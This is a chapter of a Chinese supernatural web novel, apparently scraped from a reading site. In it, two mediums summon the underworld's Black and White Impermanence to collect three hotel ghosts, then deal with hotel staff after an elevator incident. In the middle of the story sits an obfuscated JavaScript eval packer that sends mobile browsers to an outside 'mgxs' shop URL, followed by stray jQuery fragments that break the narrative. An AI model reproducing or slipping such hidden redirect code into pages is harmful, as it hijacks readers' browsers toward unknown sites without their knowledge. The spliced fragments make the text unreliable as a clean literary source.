从老掉牙节目里出来的两人对视了一眼。
姜星冉轻咳一声,“别扯这些题外话,说正经的。”
“两位大师,我说的就是正经的啊!”周建仁感觉自己被冤枉了,连忙喊道。
谢一川赔笑说:“那个姓黄的女人早走了,我亲眼看着她下去了,不然你们也能找她过来问问,真的和我们哥仨无关。”
司冥淡定回道:“既然她走了,为何你们三个不一块走?”
“我们为什么要走,这里又大又宽敞,一整层都是我们的,想住哪个房间就住哪个房间,到下面哪里还有这样的环境。”谢一川更诧异了。
“所以你们为了霸占这一整层,故意骚扰客人弄出闹鬼的传闻吧。”姜星冉觉得自己简直就是推理小能手。
谢一川和周建仁转移目光,一个看天花板,一个看地板,就是不正面回答她的问题,更坐实了她的猜测。
司冥看了眼时间,决定不再拖时间,“到点了,他们上班了。”
姜星冉颔首,“那就让他们过来领人吧。”
两个鬼听了对话更是一头雾水,还有人要过来?过来要干什么?
很快,他们就知道了。
两个灵媒有通鬼之术,竟然硬生生能把黑白无常给喊过来!
和上次差不多,地府的公职人员黑白无常上来就自曝了家门,千年如一日地穿着黑白统一制服。以前是长袍,现在随着时代更迭成了制服劲装,腰间别着锁链,听说是为了引魂方便。
姜星冉以前只和黑玄小白玩的比较好,但那也是勾魂部门众多员工的两个,现在的新人她已经完全不认识了。
她转头看向司冥,上次见他就穿着类似的黑色制服,看起来应该和黑无常的职位差不多。
“哟,自己人。”黑无常刚上班没多久就被喊过来了,他掏了掏耳朵,懒懒地瞥了一眼地上被捆成粽子的三鬼,“你直接把它们带下去不就好了,送去阎罗殿。”
司冥拒绝的很快,“今天我休假,不走无常。”
姜星冉在心里默默点头,谁休假还要干活的。
谢一川和周建仁听了也想晕过去,他们躲了好几年的阴差就被面前这对男女这么轻松地唤过来了,此时无比地羡慕晕死过去的陆生。
白无常见状说:“行,我们来送过去。他们叫什么名字?”
姜星冉报上了三个人的名字。
“等等我查一查。”
白无常在工作机上输入他们的名字,很快结果就映入眼帘,他把屏幕移给黑无常看。
“之前漏掉的,四年前就应该带下去的。”
查清了状况,确认了他们三只都是漏网之鱼,黑白无常分别在手机上打勾,今天就要把他们都带走。
这时,陆生迷迷糊糊地醒了过来,他的记忆还留在刚才鬼遮眼那一环节,现在发现自己被绑的严严实实动不了。
“这是干什么!放开我!”
周建仁已经放弃挣扎了,他给出了善意的提醒,“你看看那边吧。”
陆生不明所以地转头。
“黑白无常——”
他刚醒过来还没一分钟,就又被吓晕了过去。
谢一川知道今天在劫难逃,怎么着也要到阎王殿走一遭了,但他还有一个心愿未了。
“等一等!”
白无常皱眉,“做什么?”
“我想知道,我到底是怎么死的!”
白无常翻看了谢一川的生平,给出了答案:“金钻酒店着火,被浓烟呛死的。”
“是意外还是他杀?”
白无常的脸色一下子变得古怪起来,“准确来说,是自杀。”
姜星冉和司冥都看了过去。
“我不信,我知道自己是什么性格。”谢一川摇头,义正言辞地说:“我根本就没有自杀的勇气!”
“你们三个原本都是将死之人,不信医术,偏信超自然玄学。听别人洗脑进了某会,不光身上的钱被骗子掏光买了一堆无用的保健品,最后还被关在酒店房间里,用古方炙烤治病。”
“原本守着你们的人中途溜出去抽烟,之后再也没有回来看过你们一眼。房间里都是易燃物,你们还搞什么炙烤疗法,中途稍不注意火就点着了。”
周建仁觉察不对,“那我们三个也不是傻子啊,火烧起来了我们仨不会跑?”
白无常看着他回答:“你们是酒蒙子,当时凑在一块醉的不省人事。”
姜星冉听到这才明白过来,报纸上只把他们的死因一笔带过,而且为了抓人眼球还归咎为是某种邪恶且神秘的献祭仪式,但实际就是一场缺少安全意识导致的火灾事故。
谢一川干笑了两声,又把头埋进了膝盖里,估计是接受不了自己这么草率的死因。
黑无常适时补充,“不过你们也不用太灰心,间接害死你们的那个姓林的传销头子,前两年也患了重病,治疗不到三个月就走了,害人终害己,等真到了那一天他自己卖的产品都不敢用。你们下去之后,有的是机会碰面。”
一听到还能下去找那孙子报仇,两人一骨碌就从地上爬起来,一人一边把仍在昏迷的陆生给扛起来。
“走吧,我准备好了。”
黑白无常见他俩都这么配合,也满意地点了点头,“不拷你们了,直接跟我们走吧。”
一阵青烟过后,五人的身影都消失在了鬼门后。
事情尘埃落定,姜星冉和司冥找到逃生通道,从七楼直接走了下去,回到大堂时,眼睛还有点不适应亮度饱和的水晶灯。毕竟她俩刚才在黑黢黢的环境里待了差不多1个小时,眼睛都已经适应弱光了。
此时大堂有几个前台接待员凑在一块聊天,提及到了今晚右侧大堂三号电梯意外断电的事。
“我听说是一男一女被困在电梯里面了,那电梯也不知道怎么回事,前几天才维修过,又出毛病了。”
“然后维修人员过去抢修了,你们知道最让人想不到的是什么吗?”
“哎呀,这关键时候你就别卖关子了!”
“等抢修小哥把电梯打开后,里面的人居然不见了!”
闻言,她们脸上就变得惊恐起来了,没想到事情会变成灵异故事。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620379|203522||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“所以他们为什么会不见?”
“不知道,现在在查监控呢,两个大活人不可能凭空不见,除非进来的那两个根本就——不是人!”
“啊啊啊啊啊!”
听故事的几个女生吓得够呛。
就站在她们身后,被编排成鬼的两人:“……”
姜星冉想起他们出来前报了故障,但是中途出来时忘记和接线员说一声了,现在恐怕所有人都在找他们。
她走过,和她们解释:“抱歉,打扰你们了,我和这位男士就是困在电梯里面的那两个人,我们已经平安出来了,能帮忙通知一下物业等人吗?”
对方听后瞪大了眼睛,像是听到了什么不可思议的事情,连忙上下打量了一番姜星冉,说话声音也变得结结巴巴的。
“好、好好……我们马上跟物业经理说一声,小姐,您身上有受伤吗?身体有什么不舒服的地方吗?”
姜星冉摇头,“我们没事。”
不过可能看着会比较狼狈,灰头土脸的。
女生引导两人到休息室落座,贴心地端了水杯,还给他们一张毛毯披在身上。
物业经理在收到通知后,第一时间赶了过来,“非常抱歉!给两位带来了不好的体验!方便问一下,您二位是怎么出来的吗?”
尤其是打开电梯发现没人时,她都吓出了一身冷汗。
她能接受客人受伤,但无法接受活生生的两个大活人失踪,同时也报了警说明了情况。
姜星冉把中间那部分内容掐掉,只捡了开头重要的环节口述出来。
当经理听到电梯停在7楼时,脸上一瞬间出现了慌乱,但很快镇定了下来,小心翼翼地瞧着他们的神情,尽力安抚客人的情绪。
不过,经理也觉得有些奇怪,一般人碰到这样的事都吓个半死,救出来后不是哭就是闹的,很少有情绪镇定成这样的人,电梯又偏偏停在七楼。
“您在七楼…没碰到什么事吧?”
“有鬼。”姜星冉头也不抬道。
经理脸吓白了。
她抬眸笑了笑,“我开玩笑的啦。”
经理听了这个玩笑话,脸色并没多少好转,心里已经在盘算明天要找个师傅过来做法了。
警察过来为他们做笔录,因为没有出现人员伤亡,当和事佬调解一番就走了。
今夜有惊无险。
*
《最强灵媒·诸神之战季》先导片播出后,在网上掀起了不小的讨论热度,加上宣发团队不断地买矩阵营销,当晚就达成第一个小爆的目标。
选手们的采访片段成功把《灵媒》最早那一批的观众都给吸引了回来,二十年过去了,他们当中绝大部分都变成了中年人,对于层出不穷的综艺也早已没了当初的新鲜感。
先导片的片段囊括了他们曾经录制节目时的片段,有些模糊的画质反而勾起了老观众们回忆杀。那时候大家对灵媒更多是一种崇拜的心态,也经历过拿起手机给他们发短信投票的时代。
多年后,再度看到喜欢的选手重返《灵媒》舞台,不少人心中都难掩激动的心情。